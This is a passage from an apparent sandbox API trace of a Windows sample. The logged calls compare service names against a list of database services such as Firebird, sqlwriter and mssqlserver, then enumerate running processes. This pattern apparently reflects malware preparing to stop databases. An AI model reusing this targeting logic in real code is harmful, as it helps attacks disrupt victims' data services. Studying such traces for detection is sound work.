(lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0270.783] lstrlenW (lpString="gpsvc") returned 5 [0270.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0270.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0270.783] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0270.783] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0270.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0270.783] lstrlenW (lpString="iphlpsvc") returned 8 [0270.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0270.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0270.783] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0270.783] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0270.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0270.783] lstrlenW (lpString="KeyIso") returned 6 [0270.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0270.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0270.783] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0270.783] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0270.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0270.784] lstrlenW (lpString="LanmanServer") returned 12 [0270.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0270.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0270.784] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0270.784] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0270.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0270.784] lstrlenW (lpString="LanmanWorkstation") returned 17 [0270.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0270.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0270.784] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0270.784] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0270.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0270.784] lstrlenW (lpString="lfsvc") returned 5 [0270.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0270.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0270.784] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0270.784] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0270.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0270.784] lstrlenW (lpString="lmhosts") returned 7 [0270.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0270.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0270.784] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0270.784] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0270.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0270.784] lstrlenW (lpString="LSM") returned 3 [0270.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0270.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0270.785] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0270.785] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0270.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0270.785] lstrlenW (lpString="MpsSvc") returned 6 [0270.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0270.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0270.785] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0270.785] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0270.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0270.785] lstrlenW (lpString="NcbService") returned 10 [0270.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0270.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0270.785] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0270.785] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0270.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0270.785] lstrlenW (lpString="netprofm") returned 8 [0270.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0270.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0270.785] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0270.785] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0270.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0270.785] lstrlenW (lpString="NgcSvc") returned 6 [0270.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0270.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0270.785] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0270.786] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0270.786] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0270.786] lstrlenW (lpString="NlaSvc") returned 6 [0270.786] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0270.786] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0270.786] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0270.786] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0270.786] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0270.786] lstrlenW (lpString="nsi") returned 3 [0270.786] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0270.786] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0270.786] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0270.786] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0270.786] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0270.786] lstrlenW (lpString="PcaSvc") returned 6 [0270.786] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0270.786] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0270.786] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0270.786] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0270.786] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0270.786] lstrlenW (lpString="PlugPlay") returned 8 [0270.786] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0270.786] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0270.786] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0270.786] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0270.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0270.787] lstrlenW (lpString="Power") returned 5 [0270.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0270.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0270.787] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0270.787] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0270.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0270.787] lstrlenW (lpString="ProfSvc") returned 7 [0270.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0270.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0270.787] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0270.787] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0270.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0270.787] lstrlenW (lpString="RpcEptMapper") returned 12 [0270.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0270.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0270.787] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0270.787] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0270.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0270.787] lstrlenW (lpString="RpcSs") returned 5 [0270.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0270.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0270.787] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0270.787] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0270.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0270.787] lstrlenW (lpString="SamSs") returned 5 [0270.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0270.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0270.788] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0270.788] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0270.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0270.788] lstrlenW (lpString="Schedule") returned 8 [0270.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0270.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0270.788] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0270.788] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0270.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0270.788] lstrlenW (lpString="SecurityHealthService") returned 21 [0270.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0270.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0270.788] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0270.788] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0270.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0270.788] lstrlenW (lpString="SENS") returned 4 [0270.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0270.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0270.788] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0270.788] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0270.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0270.788] lstrlenW (lpString="ShellHWDetection") returned 16 [0270.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0270.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0270.789] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0270.789] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0270.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0270.789] lstrlenW (lpString="Spooler") returned 7 [0270.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0270.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0270.789] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0270.789] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0270.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0270.789] lstrlenW (lpString="StateRepository") returned 15 [0270.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0270.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0270.789] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0270.789] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0270.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0270.789] lstrlenW (lpString="SysMain") returned 7 [0270.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0270.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0270.789] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0270.789] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0270.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0270.789] lstrlenW (lpString="SystemEventsBroker") returned 18 [0270.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0270.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0270.789] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0270.789] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0270.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0270.790] lstrlenW (lpString="Themes") returned 6 [0270.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0270.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0270.790] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0270.790] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0270.790] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0270.790] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x55c [0271.004] Process32FirstW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0271.005] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0271.006] lstrlenW (lpString="System") returned 6 [0271.006] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0271.007] lstrlenW (lpString="smss.exe") returned 8 [0271.007] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0271.009] lstrlenW (lpString="csrss.exe") returned 9 [0271.009] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0271.010] lstrlenW (lpString="wininit.exe") returned 11 [0271.010] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0271.011] lstrlenW (lpString="csrss.exe") returned 9 [0271.011] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0271.012] lstrlenW (lpString="winlogon.exe") returned 12 [0271.013] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0271.014] lstrlenW (lpString="services.exe") returned 12 [0271.014] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0271.345] lstrlenW (lpString="lsass.exe") returned 9 [0271.345] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0271.346] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0271.346] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0271.347] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0271.347] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.348] lstrlenW (lpString="svchost.exe") returned 11 [0271.348] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.349] lstrlenW (lpString="svchost.exe") returned 11 [0271.350] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0271.523] lstrlenW (lpString="dwm.exe") returned 7 [0271.523] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.524] lstrlenW (lpString="svchost.exe") returned 11 [0271.524] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.525] lstrlenW (lpString="svchost.exe") returned 11 [0271.525] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.526] lstrlenW (lpString="svchost.exe") returned 11 [0271.526] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.527] lstrlenW (lpString="svchost.exe") returned 11 [0271.527] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.528] lstrlenW (lpString="svchost.exe") returned 11 [0271.529] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.530] lstrlenW (lpString="svchost.exe") returned 11 [0271.530] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.531] lstrlenW (lpString="svchost.exe") returned 11 [0271.531] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.532] lstrlenW (lpString="svchost.exe") returned 11 [0271.532] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.533] lstrlenW (lpString="svchost.exe") returned 11 [0271.533] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.534] lstrlenW (lpString="svchost.exe") returned 11 [0271.535] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0271.536] lstrlenW (lpString="spoolsv.exe") returned 11 [0271.536] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.537] lstrlenW (lpString="svchost.exe") returned 11 [0271.537] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x518, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0271.538] lstrlenW (lpString="audiodg.exe") returned 11 [0271.538] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0271.539] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0271.539] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0271.540] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0271.540] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0271.542] lstrlenW (lpString="Memory Compression") returned 18 [0271.542] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.577] lstrlenW (lpString="svchost.exe") returned 11 [0271.578] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0271.578] lstrlenW (lpString="sihost.exe") returned 10 [0271.578] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1 [0271.579] lstrlenW (lpString="MDMAgent.exe") returned 12 [0271.579] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: 